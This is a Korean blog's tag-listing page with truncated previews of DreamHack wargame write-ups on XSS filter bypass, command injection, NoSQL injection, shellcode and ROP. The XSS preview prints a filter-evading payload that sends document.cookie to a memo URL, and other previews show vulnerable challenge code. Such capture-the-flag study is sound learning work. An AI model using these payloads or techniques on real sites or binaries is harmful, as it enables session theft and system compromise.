DreamHack

Web Hacking Advanced

[dreamhack] XSS Filtering Bypass

문제풀이xss-1과 마찬가지로 3가지 페이지가 나온다. def xss_filter(text): _filter = ["script", "on", "javascript"] for f in _filter: if f in text.lower(): text = text.replace(f, "") return textxss-1와 차이점이 있다면, 위와 같이 script, on, javascript 를 필터링하고 ""로 replace 한다는 점이다. locatioonn.href='http://127.0.0.1:8000/memo?memo='+document.cookie필터링을 우회한 xss payload다. script, on, javascript를 필터링할 때, 프로세..

Web Hacking Advanced

[dreamhack] File Vulnerability Advanced for linux

문제풀이API_KEY = os.environ.get('API_KEY', None)def key_required(view): @wraps(view) def wrapped_view(**kwargs): apikey = request.args.get('API_KEY', None) if API_KEY and apikey: if apikey == API_KEY: return view(**kwargs) return 'Access Denined !' return wrapped_view@app.route('/', methods=['GET'])def index(): return 'API Index'@app.route(..

Web Hacking Advanced

[dreamhack] Command Injection Advanced

문제분석 & 풀이url을 입력하고 curl 요청하는 페이지다. 코드를 확인해보자. cache file: {$cache_file}"; echo ''. htmlentities($result) .''; return; }}else{?>코드 분석url은 http로 시작해야한다.curl $url 로 curl 명령을 실행한다.캐시 파일을 /cache 경로에 저장한다.실행 결과를 화면에 출력한다. url을 이용해서 curl 명령을 실행한다. 따라서 ;와 같은 문자를 추가하면 curl 명령 외에도 임의의 명령을 실행시켜서 command injection을 수행하는 방식을 생각했다. 하지만 escapeshellcmd($_GET['url'])로 ;, | 등의 문자열을 사용해도 이스케이프 처리되..

System Hacking Advanced

[dreamhack] Return to Shellcode

checksec└─# checksec r2s[*] '/root/dream/rts/r2s' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segmentsNX 보호기법이 적용되지 않았다. 따라서 쉘코드를 이용한 공격이 가능하다. 문제분석 & 풀이int main() { char buf[0x50]; init(); printf("Address of the buf: %p\n", buf); printf("Distance between buf and $rbp: %ld\n",(char*)__bu..

Web Hacking Advanced

[dreamhack] Mango

문제분석 & 풀이uid와 upw를 전송해서 로그인하는 방식이다. 그대로 요청해보면 guest로 로그인된 것을 확인할 수 있다. 로그인이 성공하면 uid가 출력된다. 목적은 upw를 구해야하므로 blind nosql injection을 수행해야한다고 짐작할 수 있다. const db = mongoose.connection;...app.get('/login', function(req, res) { if(filter(req.query)){ res.send('filter'); return; } const {uid, upw} = req.query; db.collection('user').findOne({ 'uid': uid, 'upw': up..

System Hacking Advanced

[dreamhack] basic_rop_x64

문제분석int main(int argc, char *argv[]) { char buf[0x40] = {}; initialize(); read(0, buf, 0x400); write(1, buf, sizeof(buf)); return 0;}○ 코드 분석buf[0x40] 선언read(0, buf, 0x400)buf에 0x400 크기 입력write(1, buf, sizeof(buf))buf 출력ROP 체인을 구성해서 system("/bin/sh")를 실행하는 것이 목표다. 필자는 풀이 과정에서 __libc_csu_init() 가젯을 활용할 예정이다. __libc_csu_init()에 대해서 공부하고자 해당 개념을 이용한 풀이를 작성했다. ○ JIT-ROP__libc_csu_init(..

keyme
'DreamHack' 태그의 글 목록 (7 Page)